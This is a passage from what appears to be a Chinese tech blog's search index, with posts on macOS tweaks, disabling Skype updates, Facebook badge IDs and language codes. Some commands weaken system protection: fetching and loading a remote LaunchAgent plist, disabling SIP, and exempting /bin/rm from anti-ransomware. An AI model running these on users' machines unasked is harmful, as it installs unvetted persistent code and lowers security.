表格内按照下图第一行的表头设置好内容,链接为可选填项。 然后把 Excel 表格里设置好的内容复制粘贴到 KeePassXC 批量生成器 左边的输入框。点击生成按钮后,在右侧就会输出生成好的 Shell 命令。 最后把输出的命令复制粘贴到 Terminal 里运行。在当前目录下就会批量创建设置好的数据库了。 ","tags":[{"name":"Shell","slug":"shell","used":true,"link":"https://dev-coco.github.io/tag/shell/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"命令行批量创建 KeePassXC 数据库","feature":"https://dev-coco.github.io/post-images/Batch-Create-KeePassXC-Database.png","link":"https://dev-coco.github.io/post/Batch-Create-KeePassXC-Database/","stats":{"text":"5 min read","time":241000,"words":852,"minutes":5},"date":"2022-03-16 11:25:36","dateFormat":"2022-03-16"},{"content":"Facebook 小组徽章 ID 和类型。 序号 名字 徽章类型 ID 1 管理员 ADMIN 1593744847475603 2 版主 MODERATOR 1254110058260458 3 小组专家 EXPERT 131647715479949 4 新成员 NEW_MEMBER 233461454554974 5 超级新人 RISING_STAR 772909320138306 6 配图帝 VISUAL_STORYTELLER 1004429206693197 7 话题王 ACTIVE_MEMBER 2409022109399311 8 创始成员 FOUNDING_MEMBER 426408264984950 9 解惑高人 暂未找到 1784222205086383 10 小组大使 GROUP_AMBASSADOR 361590721974950 相关推荐: Facebook 专页类别列表 Facebook 爱好列表 Facebook 背景颜色列表 ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 小组徽章","feature":"https://dev-coco.github.io/post-images/facebook-badge.png","link":"https://dev-coco.github.io/post/facebook-badge/","stats":{"text":"1 min read","time":27000,"words":108,"minutes":1},"date":"2022-03-04 22:23:04","dateFormat":"2022-03-04"},{"content":"屏蔽 “您的电脑没有足够的空间来运行 WhatsApp。” 提示弹窗。 不知为何 WhatsApp 总是弹出 “您的电脑没有足够的空间来运行 WhatsApp。请从您的电脑中删除久未使用文件来腾出更多的存储空间,然后再次登陆。” 这样的弹窗,即使有很多空闲的内存依然会提示。 于是查看了一下弹窗的源码。 那么就可以在 _209uk 这个 class 增加一个 css 样式隐藏弹窗。 不过需要使用 Chrome 插件加载网页时就注入 css。 补充: 后来发现以上的方法会引起一些问题,有的功能也会使用 _209uk 这个 class,这样会导致其它的功能无法正常使用。需要根据指定目录定位到弹窗的 class,然后进行屏蔽。 不过后来发现有时候会出现 LayoutApp 这个类,有时候不会出现,所以需要写两种 css。 ","tags":[{"name":"WhatsApp","slug":"whatsapp","used":true,"link":"https://dev-coco.github.io/tag/whatsapp/"}],"title":"屏蔽 WhatsApp 提示弹窗","feature":"https://dev-coco.github.io/post-images/Hide-WhatsApp-Alert.png","link":"https://dev-coco.github.io/post/Hide-WhatsApp-Alert/","stats":{"text":"1 min read","time":51000,"words":245,"minutes":1},"date":"2022-02-22 22:45:50","dateFormat":"2022-02-22"},{"content":"Image-Gallery 是一个专门为预览图片打造的静态网页。 演示页面:Image-Gallery-Demo 主题源码:Image-Gallery 特点 图片高清预览。 图片异步延迟加载。 超快的加载速度。 根据图片名称搜索图片。 自助反馈表单。 自适应排版。 放大图片。 下载图片。 分级菜单。 建站 目录 . ├── script │ ├── code.gs │ └── sidebar.html └── source ├── image-gallery │ └── index.html ├── index.html ├── instruction.html ├── search.html └── src ├── core.css ├── core.js ├── favicon.ico ├── fontawesome-webfont.ttf ├── logo.png ├── script.js └── search.js script 文件夹内是配套 Google 表格的脚本,用于生成代码。 建立一个 Google 表格,菜单栏点击扩展程序,选择 Apps 脚本。 需要使用新版的编辑器,放入 code.gs 文件里的内容。然后点击 (➕) 加号,新建一个 HTML 文件。 文件名字命名为 sidebar,再放入 sidebar.html 文件内的代码。 以上步骤设置完成后,刷新 Google 表格,在菜单栏会出现扩展功能。 获取文件 在 Google 表格的 A1 单元格放入文件夹 ID,点击获取文件功能。 如果是第一次使用,需要授权才可以运行。点击继续。 选择 Google 账号。 点击高级。 转至项目。 点击允许。 点击后就可以获取到文件夹内的文件和对应的 ID 了。 删除内容 会从第二行开始删除以下的内容。 生成代码 点击后会在右侧出现一个界面,把获取好的文件名称和 ID 放在输入框内,点击对应的按钮就会生成出代码并且复制到剪切板,不会有任何提示。 source image-gallery 在这个文件夹内创建需要分类的文件夹,每个文件夹内放入 index.html 文件。 image-gallery > index.html 预览图片。使用生成代码的图片功能生成代码,替换 index.html 中注释的部分。 instruction.html 打开页面后显示的说明页面。 source > index.html 自定义侧边菜单栏,在 id 内放入 image-gallery 文件夹内对应的路径。submenu 类是子菜单。 在界面左上角有三个按钮,第一个按钮用来打开侧边栏菜单,点击第二个按钮将缩略图替换成原图尺寸,第三个按钮点击后会打开自助反馈表单。 search.html 用于搜索功能,根据文件名字搜索图片。搜索的清单来自于 search.js 文件。src 的内容需要改成对应的目录,下面是默认值。 <script src="src/search.js"></script> src search.js 搜索功能的清单。使用生成代码的搜索功能生成代码,替换文件内演示的部分。 自定义 script.js src 的值需要改成对应的网站目录,下图是默认值。 botToken 和 userID 需要替换,替换教程请查看:创建 Telegram 机器人 favicon.ico 网站图标,32 * 32 像素。 logo.png 主页 Logo,建议尺寸 500 * 210 像素。 image-gallery > index.html 自定义网站标题。 <title>Image Gallery</title> 全部配置完成后需要部署到服务器运行。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Image-Gallery 图片网站主题","feature":"https://dev-coco.github.io/post-images/image-gallery.png","link":"https://dev-coco.github.io/post/image-gallery/","stats":{"text":"3 min read","time":179000,"words":785,"minutes":3},"date":"2022-02-20 19:07:31","dateFormat":"2022-02-20"},{"content":"用于查询网站是否存在 404 链接的工具。 从 软件列表 下载 Check 404 Links 工具。 如何使用 运行程序,然后放入主页链接,点击继续。 通知中心会出现下图的提示,大概等待 5 到 10 分钟,如果是大型网站会需要等更久一些时间,程序会持续在后台运行。 当通知中心提示完成,程序会自动打开“404 Links.txt”这个文件,如果没有内容说明没有 404 链接。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"查 404 链接工具","feature":"https://dev-coco.github.io/post-images/Check-404-Links.png","link":"https://dev-coco.github.io/post/Check-404-Links/","stats":{"text":"1 min read","time":28000,"words":132,"minutes":1},"date":"2022-02-08 21:56:27","dateFormat":"2022-02-08"},{"content":"AutoType 是一款模拟真实用户打字,随机延时,自动输入文本到对话框的程序。目前只支持英文和数字。 如何安装 从 软件列表 下载 Auto Type 软件。 在 Downloads 目录找到 DMG 文件,然后打开它。 把 AutoType 拖到 Applications 文件夹然后松开。 运行 从启动台打开 Auto Type。 如果是第一次使用 Auto Type 会出现下图的提示。请按照下面的步骤解决。 打开系统偏好设定。 点击安全性与隐私权 点击强制打开按钮 点击隐私权,然后在辅助使用里面添加AutoType并且勾选。 使用方法 新建一个 txt 格式的文件,输入内容,并且保存。 运行 Auto Type,选择刚才保存好的 txt 文件。 等待三秒后就会开始将选中的 txt 文件中的内容自动输入到对话框,请在三秒内选中一个对话框。效果如下图。注意:在使用前请将输入法切换成英文,以免出现问题。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"自动输入","feature":"https://dev-coco.github.io/post-images/Auto-Type.png","link":"https://dev-coco.github.io/post/Auto-Type/","stats":{"text":"1 min read","time":56000,"words":268,"minutes":1},"date":"2022-02-07 22:08:03","dateFormat":"2022-02-07"},{"content":"创建 Telegram 机器人,获取 token。 在 Telegram 搜索 @BotFather,如果是第一次使用,需要在对话窗口的下方点击开始。 输入命令 /newbot,然后输入一个机器人的名字。 再设置一个机器人的用户名,必须以 bot 作为结尾。 注册成功后会发送机器人的 token。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"创建 Telegram 机器人","feature":"https://dev-coco.github.io/post-images/Create-Telegram-Bot.png","link":"https://dev-coco.github.io/post/Create-Telegram-Bot/","stats":{"text":"1 min read","time":18000,"words":86,"minutes":1},"date":"2022-02-07 14:44:04","dateFormat":"2022-02-07"},{"content":"查询 Linux 命令功能。 .search-box .search{display:block;margin-left:auto;margin-right:auto;margin-bottom:500px;width:auto;position:relative}.search-box .search li,.search-box .search ul{list-style:none}.search-box .search .search-list{position:absolute;box-shadow:1px 1px 3px #ededed;border:1px solid #d5d5d5;background:#fff;top:39px;width:100%;padding:5px;border-radius:5px 5px 5px 5px}.search-box .search .search-list a{display:block;padding:2px 6px 2px 6px;color:#555}.search-box .search .search-list a .kw{color:red;font-style:inherit;font-weight:700}.search-box .search .query{width:100%;height:40px;padding:6px 12px;font-size:14px;font-weight:700;line-height:1.42857143;color:#555;border:1px solid #d5d5d5;border-radius:5px}.post-title,.post-info,.post-content p:first-child{display:none;} Linux命令手册请尝试输入一些字符,进行搜索! ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"Linux 命令手册","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/Linux-Command/","stats":{"text":"1 min read","time":54000,"words":156,"minutes":1},"date":"2022-02-06 12:37:42","dateFormat":"2022-02-06"},{"content":"你的电脑是否经常遇到卡顿,运行缓慢的问题呢? macOS 系统是否能提供最佳的性能是办公的关键,本文将告诉你如何优化 macOS 系统的运行速度,主要围绕软件方面和硬件方面。 软件方面 清理垃圾缓存 系统和软件在运行过程中会产生各种各样的文件,例如:缓存文件 (Cache Files),文件缓冲 (File Cache),临时文件 (Temporary Files),日志(Logs),软件卸载残留文件等等。 这里给大家推荐一款 macOS 清理垃圾 软件,简单易用,清理效果好。使用方法特别简单,运行程序,选择“清理缓存”,点击“好”就清理完成了。 系统优化 Mac系统其实有自带的性能模式。可以通过命令来开启。开启后需要重启一次电脑,界面不会有任何的提示或者变化,静默运行的。更多详细内容可以查看 苹果官方文档。 10.0 ~ 10.10.5 版本 开启性能模式 serverinfo --setperfmode 1 关闭性能模式 serverinfo --setperfmode 0 查看当前模式 serverinfo --perfmode 10.11 及更高版本 开启性能模式 sudo nvram boot-args="serverperfmode=1 $(nvram boot-args 2>/dev/null | cut -f 2-)" 关闭性能模式 sudo nvram boot-args="$(nvram boot-args 2>/dev/null | sed -e $'s/boot-args\\t//;s/serverperfmode=1//')" 查看当前模式 nvram boot-args 在 macOS 清理垃圾 软件内也包含了这个功能,使用系统优化功能即可开启性能模式。 管理启动项 过多的启动项会拖慢系统的开机速度,在启动的时候消耗过多的 RAM,如果不是必要的程序,可以在启动后再运行。 打开系统偏好设定 —— 使用者与群组 —— 登陆项目 把需要关闭的启动项选中,点击 — 符号删除。 以下三个是启动项的目录,有的启动项不会在系统偏好内显示,但是可以在下面的目录中找到,可以使用 launchctl 命令关闭不需要的进程后再删除文件。 /Library/LaunchAgents /Library/LaunchDaemons /Users/$USER/Library/LaunchAgents 关闭 Dashboard Mac 系统上有个叫 Dashboard 的东西,也叫仪表盘,这个东西在日常使用中几乎用不到,而且还占用着 CPU 使用率和内存。 打开系统偏好设定——指挥中心——仪表盘(关闭) 如果你想彻底关它可以使用以下命令 defaults write com.apple.dashboard mcx-disabled -boolean YES 如果你想关闭后再重新开启,可以使用以下命令 defaults write com.apple.dashboard mcx-disabled -boolean NO 关闭独显 当设备使用独立显卡的时候,将会更多的消耗设备的内存和 CPU 使用,同时设备的温度也会升高,如果是用不到独显的话,建议禁用。 禁用独显 sudo pmset -a GPUSwitch 0 如果想要强制使用独显可以把值设置成 1,2 是自动切换显卡。 关闭 Spotlight Spotlight 是 macOS 上的一个搜索引擎,能够快速的搜索到想要的文档,但是 Spotlight 也有一个弊端,它会不断的索引文件,所以会看到 Spotlight 在后台默默的占用资源,关闭这个功能后会降低设备的温度也会加快设备的流畅度。 打开系统偏好设定——Spotlight——搜索结果(全部取消选择) 然后再运行以下命令关闭 Spotlight 功能 关闭Spotlight sudo mdutil -a -i off sudo launchctl unload -w /System/Library/LaunchAgents/com.apple.Spotlight.plist 开启Spotlight sudo mdutil -a -i on sudo launchctl load -w /System/Library/LaunchAgents/com.apple.Spotlight.plist 不过在操作前需要暂时关闭 SIP 保护。在 Mac 开机的时候按 Command ⌘ + R 进入恢复模式,然后执行 SIP 相关命令。 风扇 设备的温度如果过高会导致 CPU 降频,降低设备的运行速度。macOS 虽然有自动调节风扇转速的机制,但是有时候不太精准。推荐使用 Macs Fan Control 这个软件,可以自定义设置风扇的转速来调节。在使用的过程中有一点需要注意,不要开了风扇忘记关了,这样让风扇长时间在高转速的状态下运行,会过多的消耗风扇的寿命。 优化内存 有时候有的程序会大量的占用内存,使用下面这个命令可以暂时的释放出内存。 sudo purge 清理 DNS 缓存 macOS 开机使用一段时间后就会发现,网络没问题,但是 macOS 打开网页加载就特别慢,或者无法打开网页。那么这个时候就需要清理一下 DNS 缓存了,可以使用以下命令。 dscacheutil -flushcache 推荐使用 macOS 清理垃圾 软件内置的系统优化功能,可以在每 30 分钟清理一次 DNS 缓存和释放内存。 限制 CPU 使用率 当 Mac 多个程序同时运行的时候,个别程序如果占用 CPU 太高,会导致系统整体卡顿,设备发热。这时候就可以使用 限制软件 CPU 使用率 这个程序,合理分配程序的 CPU 使用率,可以让多个程序运行的同时,系统还可以流畅运行。 硬件层 配件 有的人喜欢使用键盘膜,可以反止灰尘从键盘进入,而且还可以防止水溅到键盘流到设备内部,但是有利也有弊。使用键盘膜的时候同时也会阻挡了设备更好的散热,当设备温度过高的时候 CPU 就会降频,降低流畅度。 设备机身的材质是使用铝合金,铝合金材质本身散热效果就不错,但是有的人喜欢使用保护壳,避免磕磕碰碰对 Mac 的机身造成损伤,不过使用保护壳会导致设备的散热效果降低,如果需要使用保护壳切记要记得避免皮质和毛绒材质的保护壳,这类材质散热效果差。在选用保护壳之前需要先了解设备的出风口在哪,避免遮挡保护壳导致无法正常散热。 内存 增加系统流畅度最有效的方法就是给设备安装内存条,增加运行内存。 清理灰尘 当设备用过几年后,设备内就会积攒了灰尘,影响散热,同时也会影响系统的流畅度,可以定期清理一次设备内的灰尘。 散热 当设备温度过高的时候就会造成 CPU 降频,影响系统的流畅度。这里就给大家介绍几种常见的散热方式。 散热底座 散热底座是从底部向上吹风,用于吹设备的底部。 抽风式散热器 大风量抽出设备内部的热气。 支架 将设备架高,让设备的底部有更多的空间散热。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"macOS 系统优化","feature":"https://dev-coco.github.io/post-images/Mac-System-Boost.png","link":"https://dev-coco.github.io/post/Mac-System-Boost/","stats":{"text":"7 min read","time":382000,"words":1755,"minutes":7},"date":"2022-02-05 13:50:30","dateFormat":"2022-02-05"},{"content":"全新 macOS 清理垃圾工具,超彻底深度清理。支持清理缓存,清理卸载残留,系统优化功能。 如何安装 从 软件列表 下载 Mac Cleaner 软件。 在 Downloads 目录找到 DMG 文件,然后打开它。 把 Mac Cleaner 拖到 Applications 文件夹然后松开。 运行 从启动台打开 Mac Cleaner。 如果是第一次使用 Mac Cleaner 会出现下图的提示。没关系按照下面的步骤解决。 打开系统偏好设定 点击安全性与隐私权 点击强制打开按钮 选择功能,然后点击“好”。 清理缓存 如果显示下图的提示,点击“好”,然后输入启动密码,点击“好”。 清理完成! 卸载残留文件 这个功能会清理Avast和Zoom的卸载残留文件,但是我会持续更新这个脚本。 系统优化 开启 macOS 系统自带的性能模式,提高性能和运行速度。不论是开启还是关闭此功能,都需要重启电脑。 进阶功能 打开系统偏好设定 点击安全性与隐私权 点击隐私权——点击左下角的锁头,然后输入开机密码。 完全取用磁碟——添加终端机到里面 对比 下面选了几款 macOS 系统热门的清理垃圾软件,对清理力度做了对比,结果如下(仅供参考)。 项目 Mac Cleaner CCleaner CleanMyMac X Combo Cleaner 应用程序缓存 ✅ ✅ ✅ ✅ Xcode缓存 ✅ ❌ ✅ ❌ 下载目录 ❌ ✅ ❌ ✅ 回收站 ✅ ✅ ❌ ✅ 系统缓存 ✅ ❌ ✅ ❌ 用户缓存 ✅ ❌ ✅ ❌ 用户日志 ✅ ✅ ✅ ✅ 系统日志 ✅ ✅ ✅ ❌ Safari缓存 ✅ ✅ ❌ ❌ Google Chrome缓存 ✅ ✅ ❌ ❌ Brave Browser缓存 ✅ ❌ ❌ ❌ 诊断报告 ✅ ❌ ❌ ❌ 奔溃报告 ✅ ❌ ❌ ❌ 下载记录 ✅ ❌ ❌ ❌ 终端记录 ✅ ❌ ❌ ❌ 补充设置 下面的设置仅针对使用 Bitdefender 的用户。 打开 Bitdefender,点击 Protection——Anti-Randsomware——Application Access 在打开的窗口点击左下角的 + 符号。 然后在键盘上按快捷键 Shift ⇪ + Command ⌘ + G 搜索/bin/rm,点击 Go 找到后点 Open 输入开机密码 在 Action 那边选择 Access 再重复以上的操作,把/bin/chmod也添加进去。 设置完成后就像下图一样。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"macOS 清理垃圾","feature":"https://dev-coco.github.io/post-images/Mac-Cleaner.png","link":"https://dev-coco.github.io/post/Mac-Cleaner/","stats":{"text":"2 min read","time":113000,"words":527,"minutes":2},"date":"2022-02-05 13:32:42","dateFormat":"2022-02-05"},{"content":"批量下载无版权无肖像权的头像。 无意间在 Github 上看到一个不错的项目 thispersondoesnotexist-js,可以随机生成头像。因为是通过机器生成出来的,并不存在这个世界上,所以不会有版权和肖像权的问题。 每次打开这个链接的时候,都会显示一个新的头像。那么就可以尝试写一个 Javascript 循环来下载头像。 // 设置延迟时间 function delay() { return new Promise(resolve => { setTimeout(resolve, 1200); }); } for (var i = 0; i < 100; i++) { await delay(); // 创建a标签 const element = document.createElement("a"); // 设置链接 element.setAttribute("href", "https://thispersondoesnotexist.com/image"); // 设置download属性和文件名字 element.setAttribute("download", "file.png"); // 隐藏标签,不显示在界面 element.style.display = "none"; // 创建完标签后点击标签,最后删除。 document.body.appendChild(element); element.click(); document.body.removeChild(element); } 实际测试的时候发现这个方法并不是那么理想,效率有些慢,1200 毫秒下载 1 个,而且比较占用 CPU 使用率。 后来我又找到一个项目 fakeface,这个项目的头像来源也是来自 thispersondoesnotexist 项目,不过返回的是 JSON 格式的数据,获取到图片的链接,这样就可以批量下载图片了。代码如下: for (var i = 0; i < 10; i++) { // 请求链接 let response = await fetch("https://fakeface.rest/face/json"); let json = await response.json(); // 获取链接 var image_url = json.image_url; // 输出到当前页面 document.write(image_url + "<br>"); } 也可以尝试一下 批量下载头像 这个项目,基于上面提到的开源项目做的一个 Chrome 插件。 使用 brew 安装 aria2,如果没有安装过 brew,需要先运行下面的命令先安装 brew。 安装后输入命令 brew install aria2 安装 aria2。 先创建一个文本文件 echo > download-list.txt,然后把刚才输出的链接放到这个文本文件里面。 然后运行下面的命令,这样就可以多线程批量下载头像了。 aria2c --max-concurrent-downloads=70 --input-file=download-list.txt ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"批量下载头像","feature":"https://dev-coco.github.io/post-images/Batch-Download-Avatar.png","link":"https://dev-coco.github.io/post/Batch-Download-Avatar/","stats":{"text":"3 min read","time":128000,"words":525,"minutes":3},"date":"2022-02-04 15:42:23","dateFormat":"2022-02-04"},{"content":"macOS 禁用 Skype 自动更新。 这个进程会禁用所有使用 Squirrel 框架更新的应用程序(例如 Skype)。如果需要安装旧版本的程序,建议在安装后第一次启动之前就安装禁用自动更新的进程,以免一开启应用程序就被强制更新到最新版本。Windows 操作系统禁用 Skype 更新请点击 -->> 禁用 Skype 自动更新。 使用前说明 如果在此之前使用过其他的程序禁用 Squirrel 框架功能,建议先卸载后再继续以下操作,以免造成功能冲突或不生效。如果没有使用过,可以跳过此步骤,继续往下。卸载命令如下: launchctl unload -w /Library/LaunchAgents/*squirrel*.plist && sudo rm -rf /Library/LaunchAgents/*squirrel*.plist && launchctl list | grep [sS]quirrel 运行后没有任何内容输出就代表卸载完成了。此方法仅供参考,但不一定所有都通用。 安装命令 cd /Users/$USER/Library/LaunchAgents && curl https://raw.githubusercontent.com/dev-coco/Disable-Squirrel-Update/master/com.dev-coco.DisableSquirrelUpdate.plist -o com.dev-coco.DisableSquirrelUpdate.plist && launchctl load -w /Users/$USER/Library/LaunchAgents/com.dev-coco.DisableSquirrelUpdate.plist && killall -9 Terminal 卸载命令 launchctl unload -w /Users/$USER/Library/LaunchAgents/com.dev-coco.DisableSquirrelUpdate.plist && rm -rf /Users/$USER/Library/LaunchAgents/com.dev-coco.DisableSquirrelUpdate.plist && killall -9 Terminal 检测命令 launchctl list | grep com.dev-coco.DisableSquirrelUpdate 如果有输出内容就说明安装成功,进程已经在运行了。如果未显示任何内容代表没有安装成功。详情请看下图: 效果 Skype 旧版本下载 修改对应的版本号即可下载,以下是个例子。 https://download.skype.com/s4l/download/mac/Skype-8.55.0.141.dmg ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"禁用 Squirrel 框架自动更新","feature":"https://dev-coco.github.io/post-images/Disable-Squirrel-Update.png","link":"https://dev-coco.github.io/post/Disable-Squirrel-Update/","stats":{"text":"2 min read","time":108000,"words":425,"minutes":2},"date":"2022-02-04 15:33:52","dateFormat":"2022-02-04"},{"content":"Windows 禁用 Skype 自动更新。 这个工具适用于 Windows 操作系统的 Skype 应用程序。如果你是 Mac OS 操作系统的用户请点击 -->> 禁用 Squirrel 框架自动更新。 使用方法 从 软件列表 下载 Disable Skype Update。 关闭 Skype 后台,安装旧版本 Skype(如果需要的话),安装后请勿启动 Skype! 双击运行 “Disable-Skype-Update.bat” 文件。这时可能你会看到一个黑框闪过(也可能不会),不会有任何提示。运行后就可以启动 Skype 应用程序了。 启动 Skype,检查一下是否提示更新失败(也有可能会提示正在检查更新,然后过一会就变成更新失败),如下图所示。 如果需要恢复自动更新,点击👉下载,使用管理员权限运行“Disable-Skype-Update-Uninstall.bat”文件,运行后不会有任何提示,使用 Skype 检查版本就会自动更新。 Skype 旧版本下载 修改对应的版本号即可下载,以下是个例子。 https://download.skype.com/s4l/download/win/Skype-8.40.0.70.exe ","tags":[{"name":"Windows","slug":"windows","used":true,"link":"https://dev-coco.github.io/tag/windows/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"禁用 Skype 自动更新","feature":"https://dev-coco.github.io/post-images/Disable-Skype-Update.png","link":"https://dev-coco.github.io/post/Disable-Skype-Update/","stats":{"text":"2 min read","time":62000,"words":277,"minutes":2},"date":"2022-02-04 15:16:02","dateFormat":"2022-02-04"},{"content":"语言代码表。 语言代码 语言名称 af 南非语 af-ZA 南非语 ar 阿拉伯语 ar-AE 阿拉伯语(阿联酋) ar-BH 阿拉伯语(巴林) ar-DZ 阿拉伯语(阿尔及利亚) ar-EG 阿拉伯语(埃及) ar-IQ 阿拉伯语(伊拉克) ar-JO 阿拉伯语(约旦) ar-KW 阿拉伯语(科威特) ar-LB 阿拉伯语(黎巴嫩) ar-LY 阿拉伯语(利比亚) ar-MA 阿拉伯语(摩洛哥) ar-OM 阿拉伯语(阿曼) ar-QA 阿拉伯语(卡塔尔) ar-SA 阿拉伯语(沙特阿拉伯) ar-SY 阿拉伯语(叙利亚) ar-TN 阿拉伯语(突尼斯) ar-YE 阿拉伯语(也门) az 阿塞拜疆语 az-AZ 阿塞拜疆语(拉丁文) az-AZ 阿塞拜疆语(西里尔文) be 比利时语 be-BY 比利时语 bg 保加利亚语 bg-BG 保加利亚语 bs-BA 波斯尼亚语(拉丁文,波斯尼亚和黑塞哥维那) ca 加泰隆语 ca-ES 加泰隆语 cs 捷克语 cs-CZ 捷克语 cy 威尔士语 cy-GB 威尔士语 da 丹麦语 da-DK 丹麦语 de 德语 de-AT 德语(奥地利) de-CH 德语(瑞士) de-DE 德语(德国) de-LI 德语(列支敦士登) de-LU 德语(卢森堡) dv 第维埃语 dv-MV 第维埃语 el 希腊语 el-GR 希腊语 en 英语 en-AU 英语(澳大利亚) en-BZ 英语(伯利兹) en-CA 英语(加拿大) en-CB 英语(加勒比海) en-GB 英语(英国) en-IE 英语(爱尔兰) en-JM 英语(牙买加) en-NZ 英语(新西兰) en-PH 英语(菲律宾) en-TT 英语(特立尼达) en-US 英语(美国) en-ZA 英语(南非) en-ZW 英语(津巴布韦) eo 世界语 es 西班牙语 es-AR 西班牙语(阿根廷) es-BO 西班牙语(玻利维亚) es-CL 西班牙语(智利) es-CO 西班牙语(哥伦比亚) es-CR 西班牙语(哥斯达黎加) es-DO 西班牙语(多米尼加共和国) es-EC 西班牙语(厄瓜多尔) es-ES 西班牙语(传统) es-ES 西班牙语(国际) es-GT 西班牙语(危地马拉) es-HN 西班牙语(洪都拉斯) es-MX 西班牙语(墨西哥) es-NI 西班牙语(尼加拉瓜) es-PA 西班牙语(巴拿马) es-PE 西班牙语(秘鲁) es-PR 西班牙语(波多黎各(美)) es-PY 西班牙语(巴拉圭) es-SV 西班牙语(萨尔瓦多) es-UY 西班牙语(乌拉圭) es-VE 西班牙语(委内瑞拉) et 爱沙尼亚语 et-EE 爱沙尼亚语 eu 巴士克语 eu-ES 巴士克语 fa 法斯语 fa-IR 法斯语 fi 芬兰语 fi-FI 芬兰语 fo 法罗语 fo-FO 法罗语 fr 法语 fr-BE 法语(比利时) fr-CA 法语(加拿大) fr-CH 法语(瑞士) fr-FR 法语(法国) fr-LU 法语(卢森堡) fr-MC 法语(摩纳哥) gl 加里西亚语 gl-ES 加里西亚语 gu 古吉拉特语 gu-IN 古吉拉特语 he 希伯来语 he-IL 希伯来语 hi 印地语 hi-IN 印地语 hr 克罗地亚语 hr-BA 克罗地亚语(波斯尼亚和黑塞哥维那) hr-HR 克罗地亚语 hu 匈牙利语 hu-HU 匈牙利语 hy 亚美尼亚语 hy-AM 亚美尼亚语 id 印度尼西亚语 id-ID 印度尼西亚语 is 冰岛语 is-IS 冰岛语 it 意大利语 it-CH 意大利语(瑞士) it-IT 意大利语(意大利) ja 日语 ja-JP 日语 ka 格鲁吉亚语 ka-GE 格鲁吉亚语 kk 哈萨克语 kk-KZ 哈萨克语 kn 卡纳拉语 kn-IN 卡纳拉语 ko 朝鲜语 ko-KR 朝鲜语 kok 孔卡尼语 kok-IN 孔卡尼语 ky 吉尔吉斯语 ky-KG 吉尔吉斯语(西里尔文) lt 立陶宛语 lt-LT 立陶宛语 lv 拉脱维亚语 lv-LV 拉脱维亚语 mi 毛利语 mi-NZ 毛利语 mk 马其顿语 mk-MK 马其顿语(FYROM) mn 蒙古语 mn-MN 蒙古语(西里尔文) mr 马拉地语 mr-IN 马拉地语 ms 马来语 ms-BN 马来语(文莱达鲁萨兰) ms-MY 马来语(马来西亚) mt 马耳他语 mt-MT 马耳他语 nb 挪威语(伯克梅尔) nb-NO 挪威语(伯克梅尔)(挪威) nl 荷兰语 nl-BE 荷兰语(比利时) nl-NL 荷兰语(荷兰) nn-NO 挪威语(尼诺斯克)(挪威) ns 北梭托语 ns-ZA 北梭托语 pa 旁遮普语 pa-IN 旁遮普语 pl 波兰语 pl-PL 波兰语 pt 葡萄牙语 pt-BR 葡萄牙语(巴西) pt-PT 葡萄牙语(葡萄牙) qu 克丘亚语 qu-BO 克丘亚语(玻利维亚) qu-EC 克丘亚语(厄瓜多尔) qu-PE 克丘亚语(秘鲁) ro 罗马尼亚语 ro-RO 罗马尼亚语 ru 俄语 ru-RU 俄语 sa 梵文 sa-IN 梵文 se 北萨摩斯语 se-FI 北萨摩斯语(芬兰) se-FI 斯科特萨摩斯语(芬兰) se-FI 伊那里萨摩斯语(芬兰) se-NO 北萨摩斯语(挪威) se-NO 律勒欧萨摩斯语(挪威) se-NO 南萨摩斯语(挪威) se-SE 北萨摩斯语(瑞典) se-SE 律勒欧萨摩斯语(瑞典) se-SE 南萨摩斯语(瑞典) sk 斯洛伐克语 sk-SK 斯洛伐克语 sl 斯洛文尼亚语 sl-SI 斯洛文尼亚语 sq 阿尔巴尼亚语 sq-AL 阿尔巴尼亚语 sr-BA 塞尔维亚语(拉丁文,波斯尼亚和黑塞哥维那) sr-BA 塞尔维亚语(西里尔文,波斯尼亚和黑塞哥维那) sr-SP 塞尔维亚(拉丁) sr-SP 塞尔维亚(西里尔文) sv 瑞典语 sv-FI 瑞典语(芬兰) sv-SE 瑞典语 sw 斯瓦希里语 sw-KE 斯瓦希里语 syr 叙利亚语 syr-SY 叙利亚语 ta 泰米尔语 ta-IN 泰米尔语 te 泰卢固语 te-IN 泰卢固语 th 泰语 th-TH 泰语 tl 塔加路语 tl-PH 塔加路语(菲律宾) tn 茨瓦纳语 tn-ZA 茨瓦纳语 tr 土耳其语 tr-TR 土耳其语 ts 宗加语 tt 鞑靼语 tt-RU 鞑靼语 uk 乌克兰语 uk-UA 乌克兰语 ur 乌都语 ur-PK 乌都语 uz 乌兹别克语 uz-UZ 乌兹别克语(拉丁文) uz-UZ 乌兹别克语(西里尔文) vi 越南语 vi-VN 越南语 xh 班图语 xh-ZA 班图语 zh 中文 zh-CN 中文(简体) zh-HK 中文(香港) zh-MO 中文(澳门) zh-SG 